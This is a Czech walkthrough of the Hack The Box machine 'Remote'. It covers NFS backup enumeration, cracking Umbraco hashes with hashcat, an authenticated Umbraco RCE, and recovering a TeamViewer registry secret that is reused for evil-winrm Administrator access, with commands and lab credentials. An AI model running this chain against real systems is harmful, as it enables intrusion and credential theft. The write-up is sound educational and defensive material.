Remote
Úvod a kontext
Remote nestojí na titulní stránce Umbraca, ale na exportu /site_backups přes NFS. V něm leží Umbraco.sdf i UmbracoTraceLog.intranet.txt, tedy kombinace databáze a provozních logů, ze které se dá vytáhnout jak hash administrátora, tak heslo omylem zapsané do pole pro uživatelské jméno: Umbracoadmin123!!.
Po webovém footholdu se útok přesune úplně jinam. Na hostu běží TeamViewer a v registru zůstává unattended-access tajemství, které se ukáže jako reuse heslo pro Administrator.
Remote je proto dobré číst souběžně s články Špatně vystavené datové, storage a cloud-like služby, Metadata, logy, incidentní a forenzní artefakty jako zdroj přístupů, Klientské, desktopové a ne-textové artefakty po footholdu a Password reuse a rozpad hranic mezi aplikací, SSH, WinRM a admin nástroji.
Počáteční průzkum
Vyhledání otevřených portů
Síťový průzkum ukázal web, SMB, WinRM a hlavně NFS. To je důležitá kombinace, protože zálohy publikované přes NFS často obsahují mnohem citlivější data než živý web.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//)
echo $ports
nmap -p $ports -A -sC -sV -v $IP
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft HTTPAPI httpd 2.0
111/tcp open rpcbind
2049/tcp open mountd
445/tcp open microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0
NFS sdílení se zálohou webu
Specializovaná enumerace ukázala export /site_backups, což byl mnohem užitečnější směr než samotný web.
nmap -sV --script=nfs-showmount $IP
mount -t nfs 10.10.10.180:/site_backups /tmp/nfs -nolock
/site_backups
V záloze se nacházel soubor Umbraco.sdf, tedy interní databáze Umbraco CMS.
To je přesně ten typ pomocné datové vrstvy, která je pro útočníka hodnotnější než běžící web: záloha v sobě nese jak data aplikace, tak provozní stopy z reálného provozu.
Analýza zjištění
Databáze a logy Umbraco
Pro rychlé ověření obsahu stačilo projít databázový soubor přes strings. To sice není forenzně čistá analýza, ale v CTF a HTB kontextu je to velmi efektivní způsob, jak rychle vytáhnout uživatele, hashe a interní identifikátory.
strings Umbraco.sdf
Administrator
admin@htb.local
b8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}
ssmith
ssmith@htb.local
8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}
Starší SHA1 hash šel prolomit přímo:
hashcat -m 100 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txt
admin@htb.local:baconandcheese
Ještě důležitější byly aplikační logy. V UmbracoTraceLog.intranet.txt bylo vidět, že někdo při loginu omylem zadal heslo do pole pro uživatelské jméno:
Login attempt failed for username Umbracoadmin123!! from IP address 192.168.195.1
Login attempt succeeded for username admin@htb.local from IP address 192.168.195.1
To je přesně typ provozní chyby, který mění „mám hash“ na „mám velmi pravděpodobné aktuální heslo do admin rozhraní“.
Authenticated RCE v Umbraco
Jakmile jsou k dispozici validní admin údaje, další krok je ověřit známé zranitelnosti CMS.
searchsploit umbraco
Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution | exploits/aspx/webapps/46153.py
Získání přístupu
Shell z Umbraco adminu
Umbraco exploit nebyl zajímavý sám o sobě, ale tím, že navazoval na data ze zálohy. Bez NFS sdílení by byl útok na stejné RCE slepý, protože vyžadoval ověřený administrativní účet.
python3 umbraco.py
Praktický výsledek byl PowerShell shell v kontextu webové aplikace, ze kterého šlo ověřit user.txt a pokračovat v lokální enumeraci hostu.
Eskalace oprávnění
TeamViewer jako zdroj lokálního tajemství
Po footholdu se ukázalo, že na systému běží TeamViewer. To je důležitý detail, protože unattended access hesla bývají v praxi ukládaná lokálně a často končí jako reuse heslo i pro další administrativní účet.
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* |
Select-Object DisplayName, DisplayVersion
reg query HKLM\SOFTWARE\Wow6432Node\TeamViewer /f SecurityPasswordAES /s
TeamViewer
FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B
Po dešifrování uložené hodnoty vyšlo heslo:
!R3m0te!
To už šlo rovnou ověřit přes WinRM:
Právě tady se naplno projeví spojení klientského artefaktu a reuse hesla: TeamViewer tajemství není jen detail vzdálené správy, ale rovnou most k administrativnímu účtu na hostu.
evil-winrm -i $IP -u Administrator -p '!R3m0te!'
V článku používám WinRM, protože je pro shell praktičtější. Stejný typ reuse tajemství ale v podobných Windows situacích často otevírá i GUI přístup přes xfreerdp, když je potřeba desktop místo čistého shellu.
Tím vznikl plně administrativní přístup a root.txt byl už jen formálním potvrzením eskalace.
Shrnutí klíčových poznatků
- Celý řetězec začal u NFS exportu
/site_backups, nikoli u hlavní webové stránky. - Záloha Umbraco poskytla dvě různé hodnoty: cracknutelný hash a provozní logy, které prozradily aktuální heslo administrátora.
- Root část nevyužila další CVE. Rozhodující bylo až lokálně uložené TeamViewer tajemství a jeho znovupoužití pro
Administrator.
Co si odnést do praxe
- Webové zálohy publikované přes NFS nebo jiné sdílení jsou často citlivější než produkční aplikace. Obsahují databáze, logy i interní artefakty, které útočníkovi ušetří většinu práce.
- Logování autentizačních pokusů pomáhá obránci, ale jen pokud se s logy nakládá bezpečně. Jakmile jsou součástí veřejně dostupné zálohy, mohou prozradit hesla, interní e-maily i pracovní návyky administrátorů.
- Lokálně uložená tajemství nástrojů jako TeamViewer je potřeba považovat za privilegované přihlašovací údaje. Pokud chrání administrativní kanál, nesmí ležet ve snadno čitelné podobě na kompromitovatelném hostu.
Další související články
HTB Stroje
Techniky
- Konfigurace síťových zařízení jako zdroj reuse hesel
- Legacy infrastruktura, kde banner prakticky rozhodne exploit
- Document workflow jako RCE nebo file-read primitivum